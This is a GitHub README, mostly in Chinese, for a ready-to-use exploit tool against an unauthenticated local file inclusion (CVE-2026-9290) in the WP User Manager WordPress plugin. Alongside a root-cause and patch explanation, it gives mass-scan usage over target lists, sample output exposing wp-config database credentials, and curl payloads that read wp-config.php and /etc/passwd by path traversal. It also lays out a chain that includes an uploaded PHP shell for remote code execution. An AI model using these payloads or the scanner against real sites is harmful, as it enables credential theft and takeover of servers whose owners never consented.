shinthink/CVE-2026-9290
GitHub: shinthink/CVE-2026-9290
针对 WordPress WP User Manager 插件未授权本地文件包含漏洞(CVE-2026-9290)的检测与利用工具。
Stars: 0 | Forks: 0
CVE-2026-9290 — WP User Manager LFI 到 RCE 漏洞利用
通过 'tab' 参数进行未授权目录遍历 → 本地文件包含
## 概述 **CVE-2026-9290** 是 **WP User Manager – User Profile Builder & Membership** WordPress 插件 (≤ 2.9.17) 中的一个高危 (CVSS 7.5) 未授权本地文件包含漏洞。 `wpum_get_active_profile_tab()` 函数将 `tab` 查询参数直接传递给 Gamajo 模板加载器,而没有进行白名单验证。`tab` 值中的目录遍历序列允许未经身份验证的攻击者包含服务器上的任意 PHP 文件。 ### 受影响版本 | WP User Manager 版本 | 状态 | |---|---| | ≤ 2.9.17 | 存在漏洞 | | ≥ 2.9.18 | 已修复 | ## 漏洞机制 ### 根本原因 在 `includes/functions.php` 中,`wpum_get_active_profile_tab()` 函数接收 `tab` 查询参数时没有进行白名单验证: ``` // Vulnerable: no whitelist check on $tab value $tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile'; wpum_get_active_profile_tab($tab); ``` 该值被传递给 `Gamajo_Template_Loader::get_template_part()`,后者会解析并包含模板文件: ``` // class-gamajo-template-loader.php line 226 include($template_path . $tab . '.php'); ``` `sanitize_text_field()` 不会过滤目录遍历序列。`../../../wp-config` 可以直接通过验证。 ### 攻击流程 ``` GET /profile/?tab=../../../wp-config → wpum_get_active_profile_tab('../../../wp-config') → Gamajo_Template_Loader::include('../../../wp-config.php') → wp-config.php included → DB credentials exposed ``` ### 关键文件 | 文件 | 行 | 作用 | |---|---|---| | `includes/functions.php` | #L955 | `wpum_get_active_profile_tab()` — 无白名单 | | `templates/profile.php` | #L52 | Profile 模板作用域 | | `class-gamajo-template-loader.php` | #L226 | 未净化的 `include()` | ### 补丁 (2.9.18) PR [#445](https://github.com/WPUserManager/wp-user-manager/pull/445) 添加了白名单验证: ``` // Patched: check against registered tabs if (!array_key_exists($tab, $registered_tabs)) { $tab = 'profile'; // fallback to default } ``` ## 安装说明 ``` git clone https://github.com/shinthink/CVE-2026-9290.git cd CVE-2026-9290 pip install -r requirements.txt ``` ## 用法 ``` # 单一目标 — LFI 探测 python cve_2026_9290.py -t target.com # Mass scan python cve_2026_9290.py -f targets.txt -v # 通过 LFI 读取特定文件 python cve_2026_9290.py -t target.com --read "../../../wp-config.php" # 保存结果 python cve_2026_9290.py -f targets.txt -o lfi.txt ``` ### 参数 ``` -t, --target Single target (domain or IP) -f, --file Target list, one per line --read PATH Read a specific file via LFI -o, --output Save results to file --threads Workers (default: 25) -v, --verbose Show detailed output ``` ## 概念验证 ### 检测与 LFI ``` $ python cve_2026_9290.py -t target.com -v ``` ``` CVE-2026-9290 — WP User Manager LFI → RCE Exploit CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter [+] WP User Manager detected [+] Profile page: /profile/ [+] LFI confirmed: wp-config.php (DB credentials) [+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin'); Host : target.com WPUM : YES LFI : YES File : wp-config.php (DB credentials) Time : 3.2s ``` ### 批量扫描 ``` [LFI] target-1.com 3.2s wp-config.php (DB credentials) define('DB_NAME', 'wp_db'); define('DB_USER', 'root'); [LFI] target-2.com 4.1s wp-config.php (DB credentials) define('DB_NAME', 'site_db'); define('DB_USER', 'admin'); [200/5458] 3% | WPUM:12 LFI:5 | current-target.com ``` ### 手动漏洞利用 **第 1 步 — 检测 WP User Manager** ``` curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3 ``` **第 2 步 — 查找 profile 页面** ``` curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"' ``` **第 3 步 — 通过 tab 参数进行 LFI** ``` # 读取 wp-config.php curl -sk 'https://target.com/profile/?tab=../../../wp-config' # 读取 /etc/passwd curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd' # RCE — 包含已上传的 PHP shell curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell' ``` ### RCE 链 ``` 1. LFI → read wp-config.php → get DB credentials 2. Upload PHP shell via another plugin/media endpoint 3. LFI → include uploaded shell → RCE ``` ## 免责声明 ## 参考文献 | 资源 | 链接 | |---|---| | GitHub 安全公告 | [GHSA-83v9-496w-54wx](https://github.com/advisories/GHSA-83v9-496w-54wx) | | Wordfence 安全公告 | [wordfence.com](https://www.wordfence.com/threat-intel/vulnerabilities/id/7a5e08d8-c6ef-42a3-9599-28c3bfb35017) | | 补丁 PR | [GitHub #445](https://github.com/WPUserManager/wp-user-manager/pull/445) | | IONIX 分析 | [ionix.io](https://www.ionix.io/threat-center/cve-2026-9290/) |本项目与 WP User Manager 或 Carbon Fields 无关。
标签:CVE-2026-9290, OpenVAS, PHP, Python, WordPress插件, 无后门, 无服务器架构, 本地文件包含, 系统独立性, 路径遍历, 逆向工具